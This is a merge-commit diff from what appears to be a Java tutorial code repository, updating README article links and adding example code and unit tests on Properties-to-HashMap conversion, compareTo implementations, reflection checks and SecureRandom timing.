Merge pull request #82 from eugenp/master

update

core-java-modules/core-java-10/README.md

@@ -5,7 +5,7 @@ This module contains articles about Java 10 core features
 ### Relevant Articles: 
 
 - [Java 10 LocalVariable Type-Inference](http://www.baeldung.com/java-10-local-variable-type-inference)
-- [Guide to Java 10](http://www.baeldung.com/java-10-overview)
+- [New Features in Java 10](https://www.baeldung.com/java-10-overview)
 - [Copy a List to Another List in Java](http://www.baeldung.com/java-copy-list-to-another)
 - [Deep Dive Into the New Java JIT Compiler – Graal](https://www.baeldung.com/graal-java-jit-compiler)
 - [Copying Sets in Java](https://www.baeldung.com/java-copy-sets)

core-java-modules/core-java-12/README.md

@@ -1,5 +1,4 @@
 ## Relevant Articles:
 
-
 - [String API Updates in Java 12](https://www.baeldung.com/java12-string-api)
-- [Java 12 New Features](https://www.baeldung.com/java-12-new-features)
+- [New Features in Java 12](https://www.baeldung.com/java-12-new-features)

core-java-modules/core-java-13/README.md

@@ -1,4 +1,4 @@
 ### Relevant articles:
 
 - [Java Switch Statement](https://www.baeldung.com/java-switch)
-- [New Java 13 Features](https://www.baeldung.com/java-13-new-features)
+- [New Features in Java 13](https://www.baeldung.com/java-13-new-features)

core-java-modules/core-java-14/README.md

@@ -10,4 +10,4 @@ This module contains articles about Java 14.
 - [Helpful NullPointerExceptions in Java 14](https://www.baeldung.com/java-14-nullpointerexception)
 - [Foreign Memory Access API in Java 14](https://www.baeldung.com/java-foreign-memory-access)
 - [Java 14 Record Keyword](https://www.baeldung.com/java-record-keyword)
-- [Java 14 – New Features](https://www.baeldung.com/java-14-new-features)
+- [New Features in Java 14](https://www.baeldung.com/java-14-new-features)

core-java-modules/core-java-9-new-features/README.md

@@ -4,7 +4,7 @@ This module contains articles about core Java features that have been introduced
 
 ### Relevant Articles:
 
-- [Java 9 New Features](https://www.baeldung.com/new-java-9)
+- [New Features in Java 9](https://www.baeldung.com/new-java-9)
 - [Java 9 Variable Handles Demystified](http://www.baeldung.com/java-variable-handles)
 - [Exploring the New HTTP Client in Java 9 and 11](http://www.baeldung.com/java-9-http-client)
 - [Multi-Release Jar Files](https://www.baeldung.com/java-multi-release-jar)

core-java-modules/core-java-char/README.md

@@ -3,4 +3,4 @@
 This module contains articles about Java Character Class
 
 ### Relevant Articles: 
-- [Character#isAlphabetic vs Character#isLetter](https://www.baeldung.com/java-character-isletter-isalphabetic)
+- [Character#isAlphabetic vs. Character#isLetter](https://www.baeldung.com/java-character-isletter-isalphabetic)

core-java-modules/core-java-collections-maps-2/src/main/java/com/baeldung/map/Product.java

@@ -26,7 +26,7 @@ public class Product {
         return tags;
     }
 
-    public Product addTagsOfOtherProdcut(Product product) {
+    public Product addTagsOfOtherProduct(Product product) {
         this.tags.addAll(product.getTags());
         return this;
     }
@@ -100,11 +100,11 @@ public class Product {
         HashMap<String, Product> productsByName = new HashMap<>();
         Product eBike2 = new Product("E-Bike", "A bike with a battery");
         eBike2.getTags().add("sport");
-        productsByName.merge("E-Bike", eBike2, Product::addTagsOfOtherProdcut);
+        productsByName.merge("E-Bike", eBike2, Product::addTagsOfOtherProduct);
 
         //Prior to Java 8:
         if(productsByName.containsKey("E-Bike")) {
-            productsByName.get("E-Bike").addTagsOfOtherProdcut(eBike2);
+            productsByName.get("E-Bike").addTagsOfOtherProduct(eBike2);
         } else {
             productsByName.put("E-Bike", eBike2);
         }
@@ -117,7 +117,7 @@ public class Product {
 
         productsByName.compute("E-Bike", (k,v) -> {
             if(v != null) {
-                return v.addTagsOfOtherProdcut(eBike2);
+                return v.addTagsOfOtherProduct(eBike2);
             } else {
                 return eBike2;
             }
@@ -125,7 +125,7 @@ public class Product {
 
         //Prior to Java 8:
         if(productsByName.containsKey("E-Bike")) {
-            productsByName.get("E-Bike").addTagsOfOtherProdcut(eBike2);
+            productsByName.get("E-Bike").addTagsOfOtherProduct(eBike2);
         } else {
             productsByName.put("E-Bike", eBike2);
         }

core-java-modules/core-java-collections-maps-3/pom.xml

@@ -20,6 +20,11 @@
             <artifactId>jmh-core</artifactId>
             <version>${jmh-core.version}</version>
         </dependency>
+        <dependency>
+            <groupId>com.google.guava</groupId>
+            <artifactId>guava</artifactId>
+            <version>${guava.version}</version>
+        </dependency>
     </dependencies>
 
     <properties>

core-java-modules/core-java-collections-maps-3/src/main/java/com/baeldung/map/propertieshashmap/PropertiesToHashMapConverter.java

@@ -0,0 +1,39 @@
+package com.baeldung.map.propertieshashmap;
+
+import com.google.common.collect.Maps;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Properties;
+import java.util.stream.Collectors;
+
+public class PropertiesToHashMapConverter {
+
+    @SuppressWarnings({"rawtypes", "unchecked"})
+    public static HashMap<String, String> typeCastConvert(Properties prop) {
+        Map step1 = prop;
+        Map<String, String> step2 = (Map<String, String>) step1;
+        return new HashMap<>(step2);
+    }
+
+    public static HashMap<String, String> loopConvert(Properties prop) {
+        HashMap<String, String> retMap = new HashMap<>();
+        for (Map.Entry<Object, Object> entry : prop.entrySet()) {
+            retMap.put(String.valueOf(entry.getKey()), String.valueOf(entry.getValue()));
+        }
+        return retMap;
+    }
+
+    public static HashMap<String, String> streamConvert(Properties prop) {
+        return prop.entrySet().stream().collect(
+                Collectors.toMap(
+                  e -> String.valueOf(e.getKey()),
+                  e -> String.valueOf(e.getValue()),
+                  (prev, next) -> next, HashMap::new
+                ));
+    }
+
+    public static HashMap<String, String> guavaConvert(Properties prop) {
+        return Maps.newHashMap(Maps.fromProperties(prop));
+    }
+}

core-java-modules/core-java-collections-maps-3/src/test/java/com/baeldung/map/hashmap/loadfactor/HashMapLoadFactorUnitTest.java

@@ -0,0 +1,49 @@
+package com.baeldung.map.hashmap.loadfactor;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.jupiter.api.Test;
+
+public class HashMapLoadFactorUnitTest {
+
+    @Test
+    public void whenCreateMapWithDefaultParam_thenSucces() {
+        Map<String, String> mapWithDefaultParams = new HashMap<>();
+        mapWithDefaultParams.put("1", "one");
+        mapWithDefaultParams.put("2", "two");
+        mapWithDefaultParams.put("3", "three");
+        mapWithDefaultParams.put("4", "four");
+        mapWithDefaultParams.put("5", "five");
+        
+        Assert.assertEquals(5, mapWithDefaultParams.size());
+    }
+
+    @Test
+    public void whenCreateMapWithInitialCapacity_thenSucces() {
+        Map<String, String> mapWithInitialCapacity = new HashMap<>(5);
+        mapWithInitialCapacity.put("1", "one");
+        mapWithInitialCapacity.put("2", "two");
+        mapWithInitialCapacity.put("3", "three");
+        
+        Assert.assertEquals(3, mapWithInitialCapacity.size());
+    }
+
+    @Test
+    public void whenCreateMapWithInitialCapacityAndLF_thenSucces() {
+        Map<String, String> mapWithInitialCapacityAndLF = new HashMap<>(5, 0.5f);
+        mapWithInitialCapacityAndLF.put("1", "one");
+        mapWithInitialCapacityAndLF.put("2", "two");
+        mapWithInitialCapacityAndLF.put("3", "three");
+        mapWithInitialCapacityAndLF.put("4", "four");
+        mapWithInitialCapacityAndLF.put("5", "five");
+        mapWithInitialCapacityAndLF.put("6", "six");
+        mapWithInitialCapacityAndLF.put("7", "seven");
+        mapWithInitialCapacityAndLF.put("8", "eight");
+        mapWithInitialCapacityAndLF.put("9", "nine");
+        mapWithInitialCapacityAndLF.put("10", "ten");
+     
+        Assert.assertEquals(10, mapWithInitialCapacityAndLF.size());
+    }
+}

core-java-modules/core-java-collections-maps-3/src/test/java/com/baeldung/map/propertieshashmap/PropertiesToHashMapConverterUnitTest.java

@@ -0,0 +1,192 @@
+package com.baeldung.map.propertieshashmap;
+
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.HashMap;
+import java.util.Properties;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+class PropertiesToHashMapConverterUnitTest {
+
+    private Properties properties;
+
+    private final static String propertyFileName = "toHashMap.properties";
+
+    @BeforeEach
+    public void setup() throws IOException {
+        properties = new Properties();
+        try (InputStream is = getClass().getClassLoader().getResourceAsStream(propertyFileName)) {
+            if (is != null) {
+                properties.load(is);
+            }
+        }
+    }
+
+    @Test
+    public void havingPropertiesLoaded_whenCheck_thenEquals() {
+        assertEquals(3, properties.size());
+        assertEquals("str_value", properties.get("property1"));
+        assertEquals("123", properties.get("property2"));
+        assertEquals("", properties.get("property3"));
+    }
+
+    @Test
+    public void whenPropertiesModified_thenTypeSafeIssues() {
+        compromiseProperties(properties);
+
+        assertEquals(5, properties.size());
+
+        assertNull(properties.getProperty("property4"));
+        assertNotEquals(String.class, properties.get("property4").getClass());
+        assertEquals(456, properties.get("property4"));
+
+
+        assertNull(properties.getProperty("5"));
+        assertNotEquals(String.class, properties.get(5).getClass());
+        assertEquals(10.11, properties.get(5));
+    }
+
+    @Test
+    public void havingNonModifiedProperties_whenTypeCastConvert_thenNoTypeSafeIssues() {
+        HashMap<String, String> hMap = PropertiesToHashMapConverter.typeCastConvert(properties);
+
+        assertEquals(3, hMap.size());
+        assertEquals(String.class, hMap.get("property1").getClass());
+        assertEquals(properties.get("property1"), hMap.get("property1"));
+        assertEquals(String.class, hMap.get("property2").getClass());
+        assertEquals(properties.get("property2"), hMap.get("property2"));
+        assertEquals(String.class, hMap.get("property3").getClass());
+        assertEquals(properties.get("property3"), hMap.get("property3"));
+    }
+
+    @Test
+    public void havingModifiedProperties_whenTypeCastConvert_thenClassCastException() {
+        compromiseProperties(properties);
+        HashMap<String, String> hMap = PropertiesToHashMapConverter.typeCastConvert(properties);
+        assertEquals(5, hMap.size());
+
+        assertThrows(ClassCastException.class, () -> {
+            String s = hMap.get("property4");
+        });
+        assertEquals(Integer.class, ((Object) hMap.get("property4")).getClass());
+
+        assertNull(hMap.get("5"));
+        assertNotNull(hMap.get(5));
+        assertThrows(ClassCastException.class, () -> {
+            String s = hMap.get(5);
+        });
+        assertEquals(Double.class, ((Object) hMap.get(5)).getClass());
+    }
+
+    @Test
+    public void havingNonModifiedProperties_whenLoopConvert_thenNoTypeSafeIssues() {
+        HashMap<String, String> hMap = PropertiesToHashMapConverter.loopConvert(properties);
+
+        assertEquals(3, hMap.size());
+        assertEquals(String.class, hMap.get("property1").getClass());
+        assertEquals(properties.get("property1"), hMap.get("property1"));
+        assertEquals(String.class, hMap.get("property2").getClass());
+        assertEquals(properties.get("property2"), hMap.get("property2"));
+        assertEquals(String.class, hMap.get("property3").getClass());
+        assertEquals(properties.get("property3"), hMap.get("property3"));
+    }
+
+    @Test
+    public void havingModifiedProperties_whenLoopConvert_thenNoClassCastException() {
+        compromiseProperties(properties);
+        HashMap<String, String> hMap = PropertiesToHashMapConverter.loopConvert(properties);
+        assertEquals(5, hMap.size());
+
+        assertDoesNotThrow(() -> {
+            String s = hMap.get("property4");
+        });
+        assertEquals(String.class, hMap.get("property4").getClass());
+        assertEquals("456", hMap.get("property4"));
+
+        assertDoesNotThrow(() -> {
+            String s = hMap.get("5");
+        });
+        assertEquals("10.11", hMap.get("5"));
+    }
+
+    @Test
+    public void havingNonModifiedProperties_whenStreamConvert_thenNoTypeSafeIssues() {
+        HashMap<String, String> hMap = PropertiesToHashMapConverter.streamConvert(properties);
+
+        assertEquals(3, hMap.size());
+        assertEquals(String.class, hMap.get("property1").getClass());
+        assertEquals(properties.get("property1"), hMap.get("property1"));
+        assertEquals(String.class, hMap.get("property2").getClass());
+        assertEquals(properties.get("property2"), hMap.get("property2"));
+        assertEquals(String.class, hMap.get("property3").getClass());
+        assertEquals(properties.get("property3"), hMap.get("property3"));
+    }
+
+    @Test
+    public void havingModifiedProperties_whenStreamConvert_thenNoClassCastException() {
+        compromiseProperties(properties);
+        HashMap<String, String> hMap = PropertiesToHashMapConverter.streamConvert(properties);
+        assertEquals(5, hMap.size());
+
+        assertDoesNotThrow(() -> {
+            String s = hMap.get("property4");
+        });
+        assertEquals(String.class, hMap.get("property4").getClass());
+        assertEquals("456", hMap.get("property4"));
+
+        assertDoesNotThrow(() -> {
+            String s = hMap.get("5");
+        });
+        assertEquals("10.11", hMap.get("5"));
+    }
+
+    @Test
+    public void havingModifiedProperties_whenLoopConvertAndStreamConvert_thenHashMapsSame() {
+        compromiseProperties(properties);
+        HashMap<String, String> hMap1 = PropertiesToHashMapConverter.loopConvert(properties);
+        HashMap<String, String> hMap2 = PropertiesToHashMapConverter.streamConvert(properties);
+
+        assertEquals(hMap2, hMap1);
+    }
+
+    @Test
+    public void havingNonModifiedProperties_whenGuavaConvert_thenNoTypeSafeIssues() {
+        HashMap<String, String> hMap = PropertiesToHashMapConverter.guavaConvert(properties);
+
+        assertEquals(3, hMap.size());
+        assertEquals(String.class, hMap.get("property1").getClass());
+        assertEquals(properties.get("property1"), hMap.get("property1"));
+        assertEquals(String.class, hMap.get("property2").getClass());
+        assertEquals(properties.get("property2"), hMap.get("property2"));
+        assertEquals(String.class, hMap.get("property3").getClass());
+        assertEquals(properties.get("property3"), hMap.get("property3"));
+    }
+
+    @Test
+    public void havingModifiedProperties_whenGuavaConvert_thenUnableToConvertAndThrowException() {
+        compromiseProperties(properties);
+        assertThrows(Exception.class, () -> PropertiesToHashMapConverter.guavaConvert(properties));
+    }
+
+    @Test
+    public void havingModifiedPropertiesWithNoIntegerValue_whenGuavaConvert_thenNullPointerException() {
+        properties.put("property4", 456);
+        assertThrows(NullPointerException.class, () -> PropertiesToHashMapConverter.guavaConvert(properties));
+    }
+
+    @Test
+    public void havingModifiedPropertiesWithNoIntegerKey_whenGuavaConvert_thenClassCastException() {
+        properties.put(5, 10.11);
+        assertThrows(ClassCastException.class, () -> PropertiesToHashMapConverter.guavaConvert(properties));
+    }
+
+
+    private void compromiseProperties(Properties prop) {
+        prop.put("property4", 456);
+        prop.put(5, 10.11);
+    }
+}

core-java-modules/core-java-collections-maps-3/src/test/resources/toHashMap.properties

@@ -0,0 +1,3 @@
+property1=str_value
+property2=123
+property3=

core-java-modules/core-java-concurrency-advanced-4/README.md

@@ -1,3 +1,4 @@
 ### Relevant Articles:
 
 - [Binary Semaphore vs Reentrant Lock](https://www.baeldung.com/java-binary-semaphore-vs-reentrant-lock)
+- [Bad Practices With Synchronization](https://www.baeldung.com/java-synchronization-bad-practices)

core-java-modules/core-java-jvm-2/README.md

@@ -11,4 +11,5 @@ This module contains articles about working with the Java Virtual Machine (JVM).
 - [Where Is the Array Length Stored in JVM?](https://www.baeldung.com/java-jvm-array-length)
 - [Memory Address of Objects in Java](https://www.baeldung.com/java-object-memory-address)
 - [List All Classes Loaded in a Specific Class Loader](https://www.baeldung.com/java-list-classes-class-loader)
+- [An Introduction to the Constant Pool in the JVM](https://www.baeldung.com/jvm-constant-pool)
 - More articles: [[<-- prev]](/core-java-modules/core-java-jvm)

core-java-modules/core-java-lang-3/README.md

@@ -11,4 +11,5 @@ This module contains articles about core features in the Java language
 - [The transient Keyword in Java](https://www.baeldung.com/java-transient-keyword)
 - [How to Access an Iteration Counter in a For Each Loop](https://www.baeldung.com/java-foreach-counter)
 - [Comparing Doubles in Java](https://www.baeldung.com/java-comparing-doubles)
+- [Guide to Implementing the compareTo Method](https://www.baeldung.com/java-compareto)
 - [[<-- Prev]](/core-java-modules/core-java-lang-2)

core-java-modules/core-java-lang-3/src/main/java/com/baeldung/compareto/BankAccount.java

@@ -0,0 +1,16 @@
+package com.baeldung.compareto;
+
+public class BankAccount implements Comparable<BankAccount> {
+
+    private final int balance;
+
+    public BankAccount(int balance) {
+        this.balance = balance;
+    }
+
+    @Override
+    public int compareTo(BankAccount anotherAccount) {
+        return this.balance - anotherAccount.balance;
+    }
+
+}

core-java-modules/core-java-lang-3/src/main/java/com/baeldung/compareto/BankAccountFix.java

@@ -0,0 +1,16 @@
+package com.baeldung.compareto;
+
+public class BankAccountFix implements Comparable<BankAccountFix> {
+
+    private final int balance;
+
+    public BankAccountFix(int balance) {
+        this.balance = balance;
+    }
+
+    @Override
+    public int compareTo(BankAccountFix anotherAccount) {
+        return Integer.compare(this.balance, anotherAccount.balance);
+    }
+
+}

core-java-modules/core-java-lang-3/src/main/java/com/baeldung/compareto/FootballPlayer.java

@@ -0,0 +1,32 @@
+package com.baeldung.compareto;
+
+public class FootballPlayer implements Comparable<FootballPlayer> {
+
+    private final String name;
+    private final int goalsScored;
+
+    public FootballPlayer(String name, int goalsScored) {
+        this.name = name;
+        this.goalsScored = goalsScored;
+    }
+
+    public String getName() {
+        return name;
+    }
+
+    @Override
+    public int compareTo(FootballPlayer anotherPlayer) {
+        return Integer.compare(this.goalsScored, anotherPlayer.goalsScored);
+    }
+
+    @Override
+    public boolean equals(Object object) {
+        if (this == object)
+            return true;
+        if (object == null || getClass() != object.getClass())
+            return false;
+        FootballPlayer player = (FootballPlayer) object;
+        return name.equals(player.name);
+    }
+
+}

core-java-modules/core-java-lang-3/src/main/java/com/baeldung/compareto/HandballPlayer.java

@@ -0,0 +1,12 @@
+package com.baeldung.compareto;
+
+public class HandballPlayer {
+
+    private final String name;
+    private final int height;
+
+    public HandballPlayer(String name, int height) {
+        this.name = name;
+        this.height = height;
+    }
+}

core-java-modules/core-java-lang-3/src/test/java/com/baeldung/compareto/ArraysSortingUnitTest.java

@@ -0,0 +1,25 @@
+package com.baeldung.compareto;
+
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+public class ArraysSortingUnitTest {
+
+    @Test
+    public void givenArrayOfNumbers_whenSortingArray_thenNumbersAreSortedAscending() {
+        int[] numbers = new int[] {5, 3, 9, 11, 1, 7};
+        Arrays.sort(numbers);
+        assertThat(numbers).containsExactly(1, 3, 5, 7, 9, 11);
+    }
+
+    @Test
+    public void givenArrayOfStrings_whenSortingArray_thenStringsAreSortedAlphabetically() {
+        String[] players = new String[] {"ronaldo",  "modric", "ramos", "messi"};
+        Arrays.sort(players);
+        assertThat(players).containsExactly("messi", "modric", "ramos", "ronaldo");
+    }
+
+}

core-java-modules/core-java-lang-3/src/test/java/com/baeldung/compareto/BankAccountFixUnitTest.java

@@ -0,0 +1,25 @@
+package com.baeldung.compareto;
+
+import org.junit.jupiter.api.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+public class BankAccountFixUnitTest {
+
+    @Test
+    public void givenComparisonBasedImpl_whenUsingSmallIntegers_thenComparisonWorks() {
+        BankAccountFix accountOne = new BankAccountFix(5000);
+        BankAccountFix accountTwo = new BankAccountFix(1000);
+        int comparison = accountOne.compareTo(accountTwo);
+        assertThat(comparison).isPositive();
+    }
+
+    @Test
+    public void givenComparisonBasedImpl_whenUsingLargeIntegers_thenComparisonWorks() {
+        BankAccountFix accountOne = new BankAccountFix(1900000000);
+        BankAccountFix accountTwo = new BankAccountFix(-2000000000);
+        int comparison = accountOne.compareTo(accountTwo);
+        assertThat(comparison).isPositive();
+    }
+
+}

core-java-modules/core-java-lang-3/src/test/java/com/baeldung/compareto/BankAccountUnitTest.java

@@ -0,0 +1,25 @@
+package com.baeldung.compareto;
+
+import org.junit.jupiter.api.Test;
+
+import static org.assertj.core.api.Assertions.*;
+
+public class BankAccountUnitTest {
+
+    @Test
+    public void givenSubtractionBasedImpl_whenUsingSmallIntegers_thenComparisonWorks() {
+        BankAccount accountOne = new BankAccount(5000);
+        BankAccount accountTwo = new BankAccount(1000);
+        int comparison = accountOne.compareTo(accountTwo);
+        assertThat(comparison).isPositive();
+    }
+
+    @Test
+    public void givenSubtractionBasedImpl_whenUsingLargeIntegers_thenComparisonBreaks() {
+        BankAccount accountOne = new BankAccount(1900000000);
+        BankAccount accountTwo = new BankAccount(-2000000000);
+        int comparison = accountOne.compareTo(accountTwo);
+        assertThat(comparison).isNegative();
+    }
+
+}

core-java-modules/core-java-lang-3/src/test/java/com/baeldung/compareto/FootballPlayerUnitTest.java

@@ -0,0 +1,57 @@
+package com.baeldung.compareto;
+
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Map;
+import java.util.TreeMap;
+import java.util.TreeSet;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+public class FootballPlayerUnitTest {
+
+    @Test
+    public void givenInconsistentCompareToAndEqualsImpl_whenUsingSortedSet_thenSomeElementsAreNotAdded() {
+        FootballPlayer messi = new FootballPlayer("Messi", 800);
+        FootballPlayer ronaldo = new FootballPlayer("Ronaldo", 800);
+
+        TreeSet<FootballPlayer> set = new TreeSet<>();
+        set.add(messi);
+        set.add(ronaldo);
+
+        assertThat(set).hasSize(1);
+        assertThat(set).doesNotContain(ronaldo);
+    }
+
+    @Test
+    public void givenCompareToImpl_whenUsingCustomComparator_thenComparatorLogicIsApplied() {
+        FootballPlayer ronaldo = new FootballPlayer("Ronaldo", 900);
+        FootballPlayer messi = new FootballPlayer("Messi", 800);
+        FootballPlayer modric = new FootballPlayer("Modric", 100);
+
+        List<FootballPlayer> players = Arrays.asList(ronaldo, messi, modric);
+        Comparator<FootballPlayer> nameComparator = Comparator.comparing(FootballPlayer::getName);
+        Collections.sort(players, nameComparator);
+
+        assertThat(players).containsExactly(messi, modric, ronaldo);
+    }
+
+    @Test
+    public void givenCompareToImpl_whenSavingElementsInTreeMap_thenKeysAreSortedUsingCompareTo() {
+        FootballPlayer ronaldo = new FootballPlayer("Ronaldo", 900);
+        FootballPlayer messi = new FootballPlayer("Messi", 800);
+        FootballPlayer modric = new FootballPlayer("Modric", 100);
+
+        Map<FootballPlayer, String> players = new TreeMap<>();
+        players.put(ronaldo, "forward");
+        players.put(messi, "forward");
+        players.put(modric, "midfielder");
+
+        assertThat(players.keySet()).containsExactly(modric, messi, ronaldo);
+    }
+
+}

core-java-modules/core-java-lang-3/src/test/java/com/baeldung/compareto/HandballPlayerUnitTest.java

@@ -0,0 +1,20 @@
+package com.baeldung.compareto;
+
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import static org.assertj.core.api.Assertions.assertThatExceptionOfType;
+
+public class HandballPlayerUnitTest {
+
+    @Test
+    public void givenComparableIsNotImplemented_whenSortingArray_thenExceptionIsThrown() {
+        HandballPlayer duvnjak = new HandballPlayer("Duvnjak", 197);
+        HandballPlayer hansen = new HandballPlayer("Hansen", 196);
+
+        HandballPlayer[] players = new HandballPlayer[] {duvnjak, hansen};
+
+        assertThatExceptionOfType(ClassCastException.class).isThrownBy(() -> Arrays.sort(players));
+    }
+
+}

core-java-modules/core-java-lang-math-3/README.md

@@ -4,6 +4,5 @@
 
 ### Relevant articles:
 
-- [Calculate Factorial in Java](https://www.baeldung.com/java-calculate-factorial)
 - [Evaluating a Math Expression in Java](https://www.baeldung.com/java-evaluate-math-expression-string)
 - More articles: [[<-- Prev]](/core-java-modules/core-java-lang-math-2)

core-java-modules/core-java-lang-oop-generics/README.md

@@ -7,3 +7,4 @@ This module contains articles about generics in Java
 - [Type Erasure in Java Explained](https://www.baeldung.com/java-type-erasure)
 - [Raw Types in Java](https://www.baeldung.com/raw-types-java)
 - [Super Type Tokens in Java Generics](https://www.baeldung.com/java-super-type-tokens)
+- [Java Warning “unchecked conversion”](https://www.baeldung.com/java-unchecked-conversion)

core-java-modules/core-java-reflection-2/src/main/java/com/baeldung/reflection/check/abstractclass/InterfaceExample.java

@@ -0,0 +1,4 @@
+package com.baeldung.reflection.check.abstractclass;
+
+public interface InterfaceExample {
+}

core-java-modules/core-java-reflection-2/src/test/java/com/baeldung/reflection/check/abstractclass/AbstractExampleUnitTest.java

@@ -1,16 +1,36 @@
 package com.baeldung.reflection.check.abstractclass;
 
-import java.lang.reflect.Modifier;
-
 import org.junit.jupiter.api.Assertions;
 import org.junit.jupiter.api.Test;
 
+import java.lang.reflect.Modifier;
+import java.util.Date;
+
 class AbstractExampleUnitTest {
 
     @Test
-    void givenAbstractClass_whenCheckModifierIsAbstract_thenTrue() throws Exception {
+    void givenAbstractClass_whenCheckModifierIsAbstract_thenTrue() {
         Class<AbstractExample> clazz = AbstractExample.class;
         Assertions.assertTrue(Modifier.isAbstract(clazz.getModifiers()));
     }
 
+    @Test
+    void givenInterface_whenCheckModifierIsAbstract_thenTrue() {
+        Class<InterfaceExample> clazz = InterfaceExample.class;
+        Assertions.assertTrue(Modifier.isAbstract(clazz.getModifiers()));
+    }
+
+    @Test
+    void givenAbstractClass_whenCheckIsAbstractClass_thenTrue() {
+        Class<AbstractExample> clazz = AbstractExample.class;
+        int mod = clazz.getModifiers();
+        Assertions.assertTrue(Modifier.isAbstract(mod) && !Modifier.isInterface(mod));
+    }
+
+    @Test
+    void givenConcreteClass_whenCheckIsAbstractClass_thenFalse() {
+        Class<Date> clazz = Date.class;
+        int mod = clazz.getModifiers();
+        Assertions.assertFalse(Modifier.isAbstract(mod) && !Modifier.isInterface(mod));
+    }
 }

core-java-modules/core-java-security-2/src/main/java/com/baeldung/egd/JavaSecurityEgdTester.java

@@ -0,0 +1,23 @@
+package com.baeldung.egd;
+
+import java.security.SecureRandom;
+
+/**
+ * JavaSecurityEgdTester - run this with JVM parameter java.security.egd, e.g.:
+ *     java -Djava.security.egd=file:/dev/urandom -cp . com.baeldung.egd.JavaSecurityEgdTester
+ */
+public class JavaSecurityEgdTester {
+    public static final double NANOSECS = 1000000000.0;
+    public static final String JAVA_SECURITY_EGD = "java.security.egd";
+
+    public static void main(String[] args) {
+        SecureRandom secureRandom = new SecureRandom();
+        long start = System.nanoTime();
+        byte[] randomBytes = new byte[256];
+        secureRandom.nextBytes(randomBytes);
+        double duration = (System.nanoTime() - start) / NANOSECS;
+
+        String message = String.format("java.security.egd=%s took %.3f seconds and used the %s algorithm", System.getProperty(JAVA_SECURITY_EGD), duration, secureRandom.getAlgorithm());
+        System.out.println(message);
+    }
+}

guest/core-kotlin/README.md

@@ -1,3 +1,3 @@
 ### Relevant Articles:
 
-- [Kotlin vs Java](https://www.baeldung.com/kotlin/kotlin-vs-java)
+- [Kotlin vs Java](https://www.baeldung.com/kotlin/vs-java)

java-collections-maps-3/README.md

@@ -2,3 +2,4 @@
 
 - [Java Map With Case-Insensitive Keys](https://www.baeldung.com/java-map-with-case-insensitive-keys)
 - [Using a Byte Array as Map Key in Java](https://www.baeldung.com/java-map-key-byte-array)
+- [Using the Map.Entry Java Class](https://www.baeldung.com/java-map-entry)

libraries-http/pom.xml

@@ -120,7 +120,7 @@
         <httpclient.version>4.5.3</httpclient.version>
 <!--        <jackson.version>2.9.8</jackson.version>-->
         <assertj.version>3.6.2</assertj.version>
-        <com.squareup.okhttp3.version>3.14.2</com.squareup.okhttp3.version>
+        <com.squareup.okhttp3.version>4.9.1</com.squareup.okhttp3.version>
         <googleclient.version>1.23.0</googleclient.version>
         <async.http.client.version>2.2.0</async.http.client.version>
         <retrofit.version>2.3.0</retrofit.version>

persistence-modules/spring-boot-persistence-mongodb/src/main/java/com/baeldung/zoneddatetime/config/MongoConfig.java

@@ -1,11 +1,8 @@
 package com.baeldung.zoneddatetime.config;
 
 import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
 import java.util.List;
 
-import org.springframework.context.annotation.Configuration;
 import org.springframework.core.convert.converter.Converter;
 import org.springframework.data.mongodb.config.AbstractMongoClientConfiguration;
 import org.springframework.data.mongodb.core.convert.MongoCustomConversions;
@@ -13,12 +10,7 @@ import org.springframework.data.mongodb.repository.config.EnableMongoRepositorie
 
 import com.baeldung.zoneddatetime.converter.ZonedDateTimeReadConverter;
 import com.baeldung.zoneddatetime.converter.ZonedDateTimeWriteConverter;
-import com.mongodb.ConnectionString;
-import com.mongodb.MongoClientSettings;
-import com.mongodb.client.MongoClient;
-import com.mongodb.client.MongoClients;
 
-@Configuration
 @EnableMongoRepositories(basePackages = { "com.baeldung" })
 public class MongoConfig extends AbstractMongoClientConfiguration {
 
@@ -29,20 +21,6 @@ public class MongoConfig extends AbstractMongoClientConfiguration {
         return "test";
     }
 
-    @Override
-    public MongoClient mongoClient() {
-        final ConnectionString connectionString = new ConnectionString("mongodb://localhost:27017/test");
-        final MongoClientSettings mongoClientSettings = MongoClientSettings.builder()
-            .applyConnectionString(connectionString)
-            .build();
-        return MongoClients.create(mongoClientSettings);
-    }
-
-    @Override
-    public Collection<String> getMappingBasePackages() {
-        return Collections.singleton("com.baeldung");
-    }
-
     @Override
     public MongoCustomConversions customConversions() {
         converters.add(new ZonedDateTimeReadConverter());

persistence-modules/spring-boot-persistence-mongodb/src/main/resources/mongoConfig.xml

@@ -24,8 +24,8 @@
         <constructor-arg ref="mongoConverter" />
     </bean>
 
-    <mongo:mapping-converter id="mongoConverter" base-package="com.baeldung.converter">
-        <mongo:custom-converters base-package="com.baeldung.converter" />
+    <mongo:mapping-converter id="mongoConverter" base-package="com.baeldung.zoneddatetime.converter">
+        <mongo:custom-converters base-package="com.baeldung.zoneddatetime.converter" />
     </mongo:mapping-converter>
 
 </beans>

persistence-modules/spring-data-mongodb/src/main/java/com/baeldung/config/MongoConfig.java

@@ -68,4 +68,8 @@ public class MongoConfig extends AbstractMongoClientConfiguration {
         return new MongoTransactionManager(dbFactory);
     }
 
+    @Override
+    protected boolean autoIndexCreation() {
+        return true;
+    }
 }

pom.xml

@@ -631,6 +631,7 @@
                 <module>spring-core-2</module>
                 <module>spring-core-3</module>
                 <module>spring-core-4</module>
+                <module>spring-core-5</module>
                 <module>spring-cucumber</module>
 
                 <module>spring-data-rest</module>
@@ -1082,6 +1083,7 @@
                 <module>spring-core-2</module>
                 <module>spring-core-3</module>
                 <module>spring-core-4</module>
+                <module>spring-core-5</module>
                 <module>spring-cucumber</module>
 
                 <module>spring-data-rest</module>

spring-5-reactive-client/README.md

@@ -11,3 +11,4 @@ The "REST With Spring" Classes: http://bit.ly/restwithspring
 - [Logging Spring WebClient Calls](https://www.baeldung.com/spring-log-webclient-calls)
